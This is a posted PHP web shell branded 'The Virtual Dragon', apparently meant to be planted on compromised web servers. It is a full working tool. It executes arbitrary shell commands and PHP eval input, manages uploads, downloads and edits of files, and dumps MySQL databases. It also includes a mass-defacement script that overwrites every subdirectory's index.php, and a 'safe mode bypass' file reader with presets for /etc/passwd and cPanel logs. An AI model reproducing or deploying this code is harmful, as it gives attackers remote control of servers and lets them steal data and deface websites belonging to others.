· 10 years ago · Sep 23, 2016, 04:36 PM
1<!------all info server------>
2<head><title>THE VIRTUAL DRAGON SHELL></title><head>
3<center><h1><p class='TOP'>THE VIRTUAL DRAGON FIRST SHELL</p></h1><br><p class='hola'>credit to : hola family <3</p><br><p>and my friend THE KILLER</p></center>
4<center><h6><img src="https://scontent-mrs1-1.xx.fbcdn.net/v/t1.0-9/14054161_173442166413727_4557088794120730766_n.jpg?oh=8584110f88d8ee4a1e0a80a7d7f2951e&oe=58723767"></h6></center>
5<center>
6<h3><?php
7$tymczas="./"; // Set $tymczas to dir where you have 777 like /var/tmp
8if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
9{
10 $safemode = true;
11 $hsafemode = "<font color=\"red\">ON</font>";
12}
13else {$safemode = false; $hsafemode = "<font color=\"Red\">OFF</font>";}
14echo("Safe-mode: $hsafemode");
15$v = @ini_get("open_basedir");
16if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=\"red\">".$v."</font>";}
17else {$openbasedir = false; $hopenbasedir = "<font color=\"Red\">OFF</font>";}
18echo("<br>");
19echo("Open base dir: $hopenbasedir");
20echo("<br>");
21echo "Disable functions : <b>";
22if(''==($df=@ini_get('disable_functions'))){echo "<font color=red>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
23echo "<br>PERL : ".`perl`."<font color=Red>ON</font><br>";
24echo "MYSQL : ".`mysql`."<font color=Red>ON</font><br>";
25echo "PYTHON : ".`python --help`."<font color=Red>ON</font><br>";
26$free = @diskfreespace($dir);
27if (!$free) {$free = 0;}
28$all = @disk_total_space($dir);
29if (!$all) {$all = 0;}
30$used = $all-$free;
31$used_percent = @round(100/($all/$free),2);
32echo "<PRE>\n";
33?>
34<br><br><br><?php echo "<p>SERVER INFOS : </p>".`ver`.`uname -a`; echo "<br><br><br><br><br>"; ?>
35<h2><?php $fs = disk_free_space("/");
36$fss = $fs / 1024 ;
37$fsss = $fss / 1024;
38$fssss = $fsss / 1024;
39echo "<p>FREE DISK SPACE </p>".$fssss." GB";
40 ?> </h2><h2>
41<br>
42<?php $ts = disk_total_space("/");
43$tss = $ts / 1024 ;
44$tsss = $tss / 1024;
45$tssss = $tsss / 1024;
46echo "<p>TOTAL DISK SPACE </p>".$tssss." GB";
47 ?></h2>
48<? echo "<p>TODAY : </p>".`date`; echo "<br>"; echo "<h1><p>ALL SYSTEM INFOS : </p></h1>".`systeminfo`.`sudo lshw`; ?><br><br><br>
49
50
51
52</center><h3>
53<h3><center><b><p>WebShell's Location</p> = http://<?php echo $_SERVER['HTTP_HOST']; echo $_SERVER['REQUEST_URI'] ?></b></center><h3><br><br>
54<h3><center><?php echo"<p>THE IP OF SERVER : </p>".gethostbyname($_SERVER['HTTP_HOST']) ?></center><h3>
55<center>
56<hr>
57
58<?
59error_reporting(E_ALL);
60@set_time_limit(0);
61function magic_q($s)
62{
63if(get_magic_quotes_gpc())
64{
65$s=str_replace('\\\'','\'',$s);
66$s=str_replace('\\\\','\\',$s);
67$s=str_replace('\\"','"',$s);
68$s=str_replace('\\\0','\0',$s);
69}
70return $s;
71}
72function get_perms($fn)
73{
74$mode=fileperms($fn);
75$perms='';
76$perms .= ($mode & 00400) ? 'r' : '-';
77$perms .= ($mode & 00200) ? 'w' : '-';
78$perms .= ($mode & 00100) ? 'x' : '-';
79$perms .= ($mode & 00040) ? 'r' : '-';
80$perms .= ($mode & 00020) ? 'w' : '-';
81$perms .= ($mode & 00010) ? 'x' : '-';
82$perms .= ($mode & 00004) ? 'r' : '-';
83$perms .= ($mode & 00002) ? 'w' : '-';
84$perms .= ($mode & 00001) ? 'x' : '-';
85return $perms;
86}
87$head=<<<headka
88<html>
89<head>
90<title>Small Shell - Edited By KingDefacer</title>
91<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
92</head>
93<body link=palegreen vlink=palegreen text=palegreen bgcolor=#2B2F34>
94<style>
95textarea {
96BORDER-RIGHT: #ffffff 1px solid;
97BORDER-TOP: #999999 1px solid;
98BORDER-LEFT: #999999 1px solid;
99BORDER-BOTTOM: #ffffff 1px solid;
100BACKGROUND-COLOR: #e4e0d8;
101font: Fixedsys bold;
102}
103input {
104BORDER-RIGHT: #ffffff 1px solid;
105BORDER-TOP: #999999 1px solid;
106BORDER-LEFT: #999999 1px solid;
107BORDER-BOTTOM: #ffffff 1px solid;
108BACKGROUND-COLOR: #e4e0d8;
109font: 8pt Verdana;
110}
111</style>
112<hr>
113headka;
114$page=isset($_POST['page'])?$_POST['page']:(isset($_SERVER['QUERY_STRING'])?$_SERVER['QUERY_STRING']:'');
115$page=$page==''||($page!='cmd'&&$page!='mysql'&&$page!='eval')?'cmd':$page;
116$winda=strpos(strtolower(php_uname()),'wind');
117define('format',50);
118$pages='<center><a href=\''.basename(__FILE__).'?mysql\'><h3>MYSQL CONNECT</h3></a><br><a href=\''.basename(__FILE__).'?eval\'><h3>EVAL</h3></a></center>'.($winda===false?'id :'.`id`:'');
119switch($page)
120{
121case 'eval':
122{
123$eval_value=isset($_POST['eval_value'])?$_POST['eval_value']:'';
124$eval_value=magic_q($eval_value);
125$action=isset($_POST['action'])?$_POST['action']:'eval';
126if($action=='eval_in_html') @eval($eval_value);
127else
128{
129echo($head.$pages);
130?>
131<hr>
132<form method=post>
133<textarea cols=120 rows=20 name='eval_value'><?@eval($eval_value);?></textarea>
134<input name='action' value='eval' type='submit'>
135<input name='action' value='eval_in_html' type='submit'>
136<input name='page' value='eval' type=hidden><hr>
137</form>
138<hr>
139<?
140}
141break;
142}
143case 'cmd':
144{
145$cmd=!empty($_POST['cmd'])?magic_q($_POST['cmd']):'';
146$work_dir=isset($_POST['work_dir'])?$_POST['work_dir']:getcwd();
147$action=isset($_POST['action'])?$_POST['action']:'cmd';
148if(@is_dir($work_dir))
149{
150@chdir($work_dir);
151$work_dir=getcwd();
152if($work_dir=='')$work_dir='/';
153else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/';
154}
155else if(file_exists($work_dir))$work_dir=realpath($work_dir);
156$work_dir=str_replace('\\','/',$work_dir);
157$e_work_dir=htmlspecialchars($work_dir,ENT_QUOTES);
158switch($action)
159{
160case 'cmd' :
161{
162echo($head.$pages);
163?>
164<form method='post' name='main_form'>
165<input name='work_dir' value='<?=$e_work_dir?>' type=text size=120>
166<input name='page' value='cmd' type=hidden>
167<input type=submit value='go'><hr>
168</form>
169<form method=post>
170<input name='cmd' type=text size=120 value='<?=str_replace('\'',''',$cmd)?>'>
171<input name='work_dir'type=hidden>
172<input name='page' value='cmd' type=hidden>
173<input name='action' value='cmd' type=submit onclick="work_dir.value=document.main_form.work_dir.value;"><hr>
174</form>
175<form method=post enctype="multipart/form-data">
176<input type="file" name="filename">
177<input name='work_dir'type=hidden>
178<input name='page' value='cmd' type=hidden>
179<input name='action' value='upload' type=submit onclick="work_dir.value=document.main_form.work_dir.value;"><hr>
180</form>
181<form method=post>
182<input name='fname' type=text size=120><br>
183<input name='archive' type=radio value='none'>without arch
184<input name='archive' type=radio value='gzip' checked=true>gzip archive
185<input name='work_dir'type=hidden>
186<input name='page' value='cmd' type=hidden>
187<input name='action' value='download' type=submit onclick="work_dir.value=document.main_form.work_dir.value;"><hr>
188</form>
189<pre>
190<?
191if($cmd!==''){ echo('<strong>'.htmlspecialchars($cmd)."</strong><hr>\n<textarea cols=120 rows=20>\n".htmlspecialchars(`$cmd`)."\n</textarea>");}
192else
193{
194$f_action=isset($_POST['f_action'])?$_POST['f_action']:'view';
195if(@is_dir($work_dir))
196{
197echo('<strong>Listing '.$e_work_dir.'</strong><hr>');
198$handle=@opendir($work_dir);
199if($handle)
200{
201while(false!==($fn=readdir($handle))){$files[]=$fn;};
202@closedir($handle);
203sort($files);
204$not_dirs=array();
205for($i=0;$i<sizeof($files);$i++)
206{
207$fn=$files[$i];
208if(is_dir($fn))
209{
210echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.$e_work_dir.str_replace('"','"',$fn).'";document.list.submit();\'><b>'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).'</b></a>'.str_repeat(' ',format-strlen($fn)));
211if($winda===false)
212{
213$owner=@posix_getpwuid(@fileowner($work_dir.$fn));
214$group=@posix_getgrgid(@filegroup($work_dir.$fn));
215printf("% 20s|% -20s",$owner['name'],$group['name']);
216}
217echo(@get_perms($work_dir.$fn).str_repeat(' ',10));
218printf("% 20s ",@filesize($work_dir.$fn).'B');
219printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n");
220}
221else {$not_dirs[]=$fn;}
222}
223for($i=0;$i<sizeof($not_dirs);$i++)
224{
225$fn=$not_dirs[$i];
226echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.(is_link($work_dir.$fn)?$e_work_dir.readlink($work_dir.$fn):$e_work_dir.str_replace('"','"',$fn)).'";document.list.submit();\'>'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).'</a>'.str_repeat(' ',format-strlen($fn)));
227if($winda===false)
228{
229$owner=@posix_getpwuid(@fileowner($work_dir.$fn));
230$group=@posix_getgrgid(@filegroup($work_dir.$fn));
231printf("% 20s|% -20s",$owner['name'],$group['name']);
232}
233echo(@get_perms($work_dir.$fn).str_repeat(' ',10));
234printf("% 20s ",@filesize($work_dir.$fn).'B');
235printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n");
236}
237echo('</pre><hr>');
238?>
239<form name='list' method=post>
240<input name='work_dir' type=hidden size=120><br>
241<input name='page' value='cmd' type=hidden>
242<input name='f_action' value='view' type=hidden>
243</form>
244<?
245} else echo('Error Listing '.$e_work_dir);
246}
247else
248switch($f_action)
249{
250case 'view':
251{
252echo('<strong>'.$e_work_dir." Edit</strong><hr><pre>\n");
253$f=@fopen($work_dir,'r');
254?>
255<form method=post>
256<textarea name='file_text' cols=120 rows=20><?if(!($f))echo($e_work_dir.' not exists');else while(!feof($f))echo htmlspecialchars(fread($f,100000))?></textarea>
257<input name='page' value='cmd' type=hidden>
258<input name='work_dir' type=hidden value='<?=$e_work_dir?>' size=120>
259<input name='f_action' value='save' type=submit>
260</form>
261<?
262break;
263}
264case 'save' :
265{
266$file_text=isset($_POST['file_text'])?magic_q($_POST['file_text']):'';
267$f=@fopen($work_dir,'w');
268if(!($f))echo('<strong>Error '.$e_work_dir."</strong><hr><pre>\n");
269else
270{
271fwrite($f,$file_text);
272fclose($f);
273echo('<strong>'.$e_work_dir." is saving</strong><hr><pre>\n");
274}
275break;
276}
277}
278break;
279}
280break;
281}
282case 'upload' :
283{
284if($work_dir=='')$work_dir='/';
285else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/';
286$f=$_FILES["filename"]["name"];
287if(!@copy($_FILES["filename"]["tmp_name"], $work_dir.$f)) echo('Upload is failed');
288else
289{
290echo('file is uploaded in '.$e_work_dir);
291}
292break;
293}
294case 'download' :
295{
296$fname=isset($_POST['fname'])?$_POST['fname']:'';
297$temp_file=isset($_POST['temp_file'])?'on':'nn';
298$f=@fopen($fname,'r');
299if(!($f)) echo('file is not exists');
300else
301{
302$archive=isset($_POST['archive'])?$_POST['archive']:'';
303if($archive=='gzip')
304{
305Header("Content-Type:application/x-gzip\n");
306$s=gzencode(fread($f,filesize($fname)));
307Header('Content-Length: '.strlen($s)."\n");
308Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname).".gz\n\n");
309echo($s);
310}
311else
312{
313Header("Content-Type:application/octet-stream\n");
314Header('Content-Length: '.filesize($fname)."\n");
315Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname)."\n\n");
316ob_start();
317while(feof($f)===false)
318{
319echo(fread($f,10000));
320ob_flush();
321}
322}
323}
324}
325}
326break;
327}
328case 'mysql' :
329{
330$action=isset($_POST['action'])?$_POST['action']:'query';
331$user=isset($_POST['user'])?$_POST['user']:'';
332$passwd=isset($_POST['passwd'])?$_POST['passwd']:'';
333$db=isset($_POST['db'])?$_POST['db']:'';
334$host=isset($_POST['host'])?$_POST['host']:'localhost';
335$query=isset($_POST['query'])?magic_q($_POST['query']):'';
336switch($action)
337{
338case 'dump' :
339{
340$mysql_link=@mysql_connect($host,$user,$passwd);
341if(!($mysql_link)) echo('Connect error');
342else
343{
344//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols
345$to_file=isset($_POST['to_file'])?($_POST['to_file']==''?false:$_POST['to_file']):false;
346$archive=isset($_POST['archive'])?$_POST['archive']:'none';
347if($archive!=='none')$to_file=false;
348$db_dump=isset($_POST['db_dump'])?$_POST['db_dump']:'';
349$table_dump=isset($_POST['table_dump'])?$_POST['table_dump']:'';
350if(!(@mysql_select_db($db_dump,$mysql_link)))echo('DB error');
351else
352{
353$dump_file="#ZaCo MySQL Dumper\n#db $db from $host\n";
354ob_start();
355if($to_file){$t_f=@fopen($to_file,'w');if(!$t_f)die('Cant opening '.$to_file);}else $t_f=false;
356if($table_dump=='')
357{
358if(!$to_file)
359{
360header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n");
361header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n");
362}
363$result=mysql_query('show tables',$mysql_link);
364for($i=0;$i<mysql_num_rows($result);$i++)
365{
366$rows=mysql_fetch_array($result);
367$result2=@mysql_query('show columns from `'.$rows[0].'`',$mysql_link);
368if(!$result2)$dump_file.='#error table '.$rows[0];
369else
370{
371$dump_file.='create table `'.$rows[0]."`(\n";
372for($j=0;$j<mysql_num_rows($result2)-1;$j++)
373{
374$rows2=mysql_fetch_array($result2);
375$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n";
376}
377$rows2=mysql_fetch_array($result2);
378$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n";
379$type[$j]=$rows2[1];
380$dump_file.=");\n";
381mysql_free_result($result2);
382$result2=mysql_query('select * from `'.$rows[0].'`',$mysql_link);
383$columns=$j-1;
384for($j=0;$j<mysql_num_rows($result2);$j++)
385{
386$rows2=mysql_fetch_array($result2);
387$dump_file.='insert into `'.$rows[0].'` values (';
388for($k=0;$k<$columns;$k++)
389{
390$dump_file.=$rows2[$k]==''?'null,':'\''.addslashes($rows2[$k]).'\',';
391}
392$dump_file.=($rows2[$k]==''?'null);':'\''.addslashes($rows2[$k]).'\');')."\n";
393if($archive=='none')
394{
395if($to_file) {fwrite($t_f,$dump_file);fflush($t_f);}
396else
397{
398echo($dump_file);
399ob_flush();
400}
401$dump_file='';
402}
403}
404mysql_free_result($result2);
405}
406}
407mysql_free_result($result);
408if($archive!='none')
409{
410$dump_file=gzencode($dump_file);
411header('Content-Length: '.strlen($dump_file)."\n");
412echo($dump_file);
413}
414else if($t_f)
415{
416fclose($t_f);
417echo('Dump for '.$db_dump.' now in '.$to_file);
418}
419}
420else
421{
422$result2=@mysql_query('show columns from `'.$table_dump.'`',$mysql_link);
423if(!$result2)echo('error table '.$table_dump);
424else
425{
426if(!$to_file)
427{
428header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n");
429header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n");
430}
431if($to_file===false)
432{
433header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n");
434header("Content-Disposition: attachment; filename=\"dump_{$db_dump}_${table_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n");
435}
436$dump_file.="create table `{$table_dump}`(\n";
437for($j=0;$j<mysql_num_rows($result2)-1;$j++)
438{
439$rows2=mysql_fetch_array($result2);
440$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n";
441}
442$rows2=mysql_fetch_array($result2);
443$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n";
444$type[$j]=$rows2[1];
445$dump_file.=");\n";
446mysql_free_result($result2);
447$result2=mysql_query('select * from `'.$table_dump.'`',$mysql_link);
448$columns=$j-1;
449for($j=0;$j<mysql_num_rows($result2);$j++)
450{
451$rows2=mysql_fetch_array($result2);
452$dump_file.='insert into `'.$table_dump.'` values (';
453for($k=0;$k<$columns;$k++)
454{
455$dump_file.=$rows2[$k]==''?'null,':'\''.addslashes($rows2[$k]).'\',';
456}
457$dump_file.=($rows2[$k]==''?'null);':'\''.addslashes($rows2[$k]).'\');')."\n";
458if($archive=='none')
459{
460if($to_file) {fwrite($t_f,$dump_file);fflush($t_f);}
461else
462{
463echo($dump_file);
464ob_flush();
465}
466$dump_file='';
467}
468}
469mysql_free_result($result2);
470if($archive!='none')
471{
472$dump_file=gzencode($dump_file);
473header('Content-Length: '.strlen($dump_file)."\n");
474echo $dump_file;
475}else if($t_f)
476{
477fclose($t_f);
478echo('Dump for '.$db_dump.' now in '.$to_file);
479}
480}
481}
482}
483}
484break;
485}
486case 'query' :
487{
488echo($head.$pages);
489?>
490<hr>
491<form method=post>
492<table>
493<td>
494<table align=left>
495<tr><td>User :<input name='user' type=text value='<?=$user?>'></td><td>Passwd :<input name='passwd' type=text value='<?=$passwd?>'></td><td>Host :<input name='host' type=text value='<?=$host?>'></td><td>DB :<input name='db' type=text value='<?=$db?>'></td></tr>
496<tr><textarea name='query' cols=120 rows=20><?=htmlspecialchars($query)?></textarea></tr>
497</table>
498</td>
499<td>
500<table>
501<tr><td>DB :</td><td><input type=text name='db_dump' value='<?=$db?>'></td></tr>
502<tr><td>Only Table :</td><td><input type=text name='table_dump'></td></tr>
503<input name='archive' type=radio value='none'>without arch
504<input name='archive' type=radio value='gzip' checked=true>gzip archive
505<tr><td><input type=submit name='action' value='dump'></td></tr>
506<tr><td>Save result to :</td><td><input type=text name='to_file' value='' size=23></td></tr>
507</table>
508</td>
509</table>
510<input name='page' value='mysql' type=hidden>
511<input name='action' value='query' type=submit>
512</form>
513<hr>
514<?
515$mysql_link=@mysql_connect($host,$user,$passwd);
516if(!($mysql_link)) echo('Connect error');
517else
518{
519if($db!='')if(!(@mysql_select_db($db,$mysql_link))){echo('DB error');mysql_close($mysql_link);break;}
520//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols
521$result=@mysql_query($query,$mysql_link);
522if(!($result))echo(mysql_error());
523else
524{
525echo("<table valign=top align=left>\n<tr>");
526for($i=0;$i<mysql_num_fields($result);$i++)
527echo('<td><b>'.htmlspecialchars(mysql_field_name($result,$i)).'</b> </td>');
528echo("\n</tr>\n");
529for($i=0;$i<mysql_num_rows($result);$i++)
530{
531$rows=mysql_fetch_array($result);
532echo('<tr valign=top align=left>');
533for($j=0;$j<mysql_num_fields($result);$j++)
534{
535echo('<td>'.(htmlspecialchars($rows[$j])).'</td>');
536}
537echo("</tr>\n");
538}
539echo("</table>\n");
540}
541mysql_close($mysql_link);
542}
543break;
544}
545}
546break;
547}
548}
549?>
550
551</center>
552<!------------------mkfile--------->
553<center><form action="<?php $_SERVER['PHP_SELF']; ?>" method="post" >
554<h1><p>MAKE FILE : </p><br></h1>
555<input type ="text" placeholder="put name of file to create" value="" name="mkfile" required /><br>
556<input type="submit" value="make it"/>
557
558</form>
559<?php
560if ($_POST["mkfile"]){
561
562 if (file_exists($_POST["mkfile"])){
563
564 echo "<font color:Red><h3>-*-*-*-*-*-*-FILE ALREADY EXISTED-*-*-*-*-*-*-</font></h3>";
565 }else {
566
567 touch ($_POST["mkfile"],"777") ;
568
569 }
570
571
572}
573
574
575
576 ?></center>
577<!-------------mkfile-------------->
578<!-------start mkdir-------->
579<center><form action="<?php $_SERVER['PHP_SELF']; ?>" method="post" >
580<h1><p>MAKE DIR : </p><br></h1>
581<input type ="text" placeholder="put name of dir to create" value="" name="mkdir" required /><br>
582<input type="submit" value="make it"/>
583
584</form>
585<?php
586if ($_POST["mkdir"]){
587
588 if (file_exists($_POST["mkdir"])){
589
590 echo "<font color:Red><h3>-*-*-*-*-*-*-DIR ALREADY EXISTED-*-*-*-*-*-*-</font></h3>";
591 }else {
592
593 mkdir($_POST["mkdir"],"777") ;
594
595 }
596
597
598}
599
600
601
602 ?></center>
603<!--------end mkdir------->
604<!------end of infos------>
605<!------cmd command execute------><hr>
606<?php session_start(); ?>
607<?php
608if (empty($_SESSION['path'])) {
609 $_SESSION['user'] = shell_exec('whoami');
610 $_SESSION['host'] = shell_exec('hostname');
611 $_SESSION['path'] = dirname(__FILE__);
612}
613function showInfo($cmd) {
614 $user = $_SESSION['user'];
615 $host = $_SESSION['host'];
616 $path = $_SESSION['path'];
617 echo "$host:$path $$user : $cmd";
618}
619if (!empty($_GET['cmd'])) {
620 echo "<br/>";
621 $cmd = $_GET['cmd'];
622 if (ereg("cd (.*)", $cmd, $file)) {
623 if ($file[1]!='.') {
624 if ($file[1] == '/') {
625 $path = $file[1];
626 } else if ($file[1] == '..') {
627 $i = strripos($_SESSION['path'], '/');
628 $path = substr($_SESSION['path'], 0, $i);
629 if ($i == 0 ) {
630 $_SESSION['path'] = '/';
631 }
632 } else{
633 if ($_SESSION['path'] == '/') {
634 $path = $_SESSION['path'].$file[1];
635 } else {
636 $path = $_SESSION['path'].'/'.$file[1];
637 }
638 }
639 }
640 if((file_exists($file[1]) && is_dir($file[1])) || $file[1]='~') {
641 $_SESSION['path'] = $path;
642 showInfo('');
643 } else {
644 echo "<pre>$cmd: No such file or directory</pre>";
645 }
646 } else {
647 $path = $_SESSION['path'];
648 passthru($cmd, $returnval);
649 if($returnval){
650 echo 'error';
651 }else{
652 echo 'done';
653 }
654 echo "<br/><br/>";
655 }
656 exit;
657}
658?>
659<html>
660 <head>
661 <meta charset="UTF-8">
662 <style>
663 .hola {color:Red;}
664 .TOP {color:green;}
665 p {color:blue;}
666 body{background:Black;color:White;}
667 input{background:gray;color:#WHITE;border:2;width:100%;}
668 .log-list{overflow-y:scroll;height:50%;}
669 #text{color:#999;}
670 b{color:#FB6D6C;}
671 .dic{
672background:black;color:white;
673}
674 </style>
675 <script>
676 postCmd = function(e) {
677 e.preventDefault;
678 var cmd = document.getElementById('cmd'),
679 log = document.getElementById('log-item'),
680 text = document.getElementById('text'),
681 info = document.getElementById('info'),
682 ajax = new XMLHttpRequest();
683 if (!cmd.value) {return;};
684 ajax.open("GET", "?cmd="+cmd.value);
685 ajax.send();
686 ajax.onreadystatechange = function() {
687 if ( ajax.readyState == 4 ) {
688 if (cmd.value.match("cd ")) {
689 info.innerHTML = ajax.responseText;
690 console.log(ajax.responseText);
691 console.log(info);
692 } else {
693 var t = "<pre>%s</pre>";
694 log.innerHTML += t.replace('%s', ajax.responseText);
695 }
696 text.scrollIntoView();
697 cmd.value = "";
698 }
699 }
700 };
701 </script>
702 </head>
703 <body>
704<center><h1><p>CMD COMMANDS EXECUTION</p></h1></center>
705<center><h3> THE RESULT OF COMMAND</h3></center>
706 <center> <div class="log-list">
707 <div id="log-item"></div>
708 <h1><span id="text"></span>
709 </div>
710</h1>
711 </center>
712 <center><form action="javascript:;" method="post" onsubmit="postCmd(event)"/>
713 <label class="dic" id="info" for="cmd"><h3><?php echo "YOUR DIRECTORY : ".getcwd();?></h3></label><br /><input id="cmd" type="text" tab="1" autofocus="autofocus" placeholder="input command here"/>
714<center><h4>BY THE VIRTUAL DRAGON</h4><>
715 </form>
716 </center>
717 </body>
718</html>
719<!------end command execute------>
720<!------mass defacer------><hr>
721<html>
722<center>
723<head>
724<meta charset='UTF-8' />
725<title>the virtual dragon mass deface</title>
726<style>
727.btn {
728 background: #59acff;
729 background-image: -webkit-linear-gradient(top, #59acff, #0a50f5);
730 background-image: -moz-linear-gradient(top, #59acff, #0a50f5);
731 background-image: -ms-linear-gradient(top, #59acff, #0a50f5);
732 background-image: -o-linear-gradient(top, #59acff, #0a50f5);
733 background-image: linear-gradient(to bottom, #59acff, #0a50f5);
734 -webkit-border-radius: 9;
735 -moz-border-radius: 9;
736 border-radius: 9px;
737 text-shadow: 15px 6px 2px #1c4006;
738 -webkit-box-shadow: 3px 4px 13px #ab1616;
739 -moz-box-shadow: 3px 4px 13px #ab1616;
740 box-shadow: 3px 4px 13px #ab1616;
741 font-family: Courier New;
742 color: #3eba14;
743 font-size: 18px;
744 padding: 0px 12px 0px 16px;
745 border: dotted #1f628d 2px;
746 text-decoration: none;
747}
748
749.btn:hover {
750 background: #3cb0fd;
751 background-image: -webkit-linear-gradient(top, #3cb0fd, #3498db);
752 background-image: -moz-linear-gradient(top, #3cb0fd, #3498db);
753 background-image: -ms-linear-gradient(top, #3cb0fd, #3498db);
754 background-image: -o-linear-gradient(top, #3cb0fd, #3498db);
755 background-image: linear-gradient(to bottom, #3cb0fd, #3498db);
756 text-decoration: none;
757}
758
759.dap_textarea
760{
761background:#F8F8F8;
762color:#999999;
763border:6px solid #DCDCDC;
764border-radius:21px ;
765font-size:16px ;
766width: 500px ;
767padding: 30px ;
768box-shadow: 12px 16px 16px #CCCCCC;
769-webkit-box-shadow: 12px 16px 16px #CCCCCC;
770-moz-box-shadow: 12px 16px 16px #CCCCCC;
771}
772.big_title
773{
774text-shadow:2px -2px 5px rgba(255,238,232,1);font-weight:normal;font-variant:small-caps;color:#FF352E;background-color:#2B8A28;border: 3px solid #C2BF72;letter-spacing:0pt;word-spacing:0pt;font-size:1.3em;text-align:center;font-family:impact, sans-serif;line-height:1;margin:0px;padding:0px;
775}
776.ta5 {
777 border: 2px solid #765942;
778 border-radius: 20px;
779 height: 300px;
780 width: 1200px;
781}
782</style>
783</head>
784<body bgcolor='Green'>
785<?php
786/*
787Script: Mass Deface Script
788coder: the virtual dragon
789Email: streewards@gmail.com
790note:
791the coder of this script does not assume any responsibility vs. the use of script use wrong
792*/
793echo "<center><textarea rows='10' cols='100' class='ta5'>";
794$defaceurl = $_POST['massdefaceurl'];
795$dir = $_POST['massdefacedir'];
796echo $dir."\n";
797if (is_dir($dir)) {
798 if ($dh = opendir($dir)) {
799 while (($file = readdir($dh)) !== false) {
800 if(filetype($dir.$file)=="dir"){
801 $newfile=$dir.$file."/index.php";
802 echo $newfile."\n";
803 if (!copy($defaceurl, $newfile)) {
804 echo "failed to copy $file...\n";
805 }
806 }
807 }
808 closedir($dh);
809 }
810}
811echo "</textarea></center>";
812?>
813<center><td align=right><center><h1><p class='big_title'>MASS DEFACE SCRIPT BY THE VIRTUAL DRAGON</p></h1></center></td><br></center>
814<center><form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post' class='dap_textarea'>
815<center><h4>:*: The Directory you want to mass deface: <input type='text' style='width: 250px' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir' required><br>
816:*: URL of your deface page (e.g: http://yoursite.com/deface.html ): <input type='text' style='width: 250px' name='massdefaceurl' required><br>
817<input type='submit' class='btn' name='execmassdeface' value='Execute'></form></td></h4></center>
818<center><img src="https://scontent-cdg2-1.xx.fbcdn.net/v/t1.0-9/14102681_173730166384927_4987624958104945342_n.jpg?oh=e6cd24ec30746deb21fb6fded6c733a7&oe=583E68C8" width="300" height="300" /></center>
819
820</center>
821<br><br><br>
822<center><h1><p class='end_title'>By the virtual dargon</p></h1>
823all right are reserved C(copyright),to developpe this script
824cantact me at <a href='https://www.facebook.com/sqdfcxvsfgvxbsgfdtefgdhhsbnnhdgdfdygsvxbbsg/'>MY ACCOUNT</a>
825</center>
826</body>
827</center>
828</html>
829<!----end of mass defacer--->
830<!----start bypass safe mode----><hr><br><br><br>
831<center><h1><p>bypass safe mode :D</p></h1></center>
832<head>
833<meta http-equiv="Content-Language" content="en-us">
834</head>
835</font></span></a></font><font face="Webdings" size="6" color="#FF0000"></font></b></p>
836<form method="POST">
837 <p align="center"><input type="text" name="file" size="20">
838 <input type="submit" value="Open" name="B1"></p>
839</form>
840 <form method="POST">
841 <p align="center"><select size="1" name="file">
842 <option value="/etc/passwd">Get /etc/passwd</option>
843 <option value="/var/cpanel/accounting.log">View cpanel logs</option>
844 <option value="/etc/syslog.conf">Syslog configuration</option>
845 <option value="/etc/hosts">Hosts</option>
846 </select> <input type="submit" value="Go" name="B1"></p>
847</form>
848<?php
849
850echo "<PRE>\n";
851if(empty($file)){
852if(empty($_GET['file'])){
853if(empty($_POST['file'])){
854die("\n <B><CENTER><FONT
855COLOR=\"RED\"></FONT></CENTER></B>");
856} else {
857$file=$_POST['file'];
858}
859} else {
860$file=$_GET['file'];
861}
862}
863$temp=tempnam($tymczas, "cx");
864if(copy("compress.zlib://".$file, $temp)){
865$zrodlo = fopen($temp, "r");
866$tekst = fread($zrodlo, filesize($temp));
867fclose($zrodlo);
868echo "<B>--- Start File ".htmlspecialchars($file)."
869-------------</B>\n".htmlspecialchars($tekst)."\n<B>--- End File
870".htmlspecialchars($file)." ---------------\n";
871unlink($temp);
872die("\n<FONT COLOR=\"RED\"><B>File
873".htmlspecialchars($file)." has been already loaded. safe mode bypass tool <THE VIRTUAL DRAGON>
874;]</B></FONT>");
875} else {
876die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
877<B>".htmlspecialchars($file)."</B> dosen't exists or you don't have
878access.</CENTER></FONT>");
879}
880?>
881<hr>
882<!----end bypass safe mode---->
883<html><center>
884<center><center>
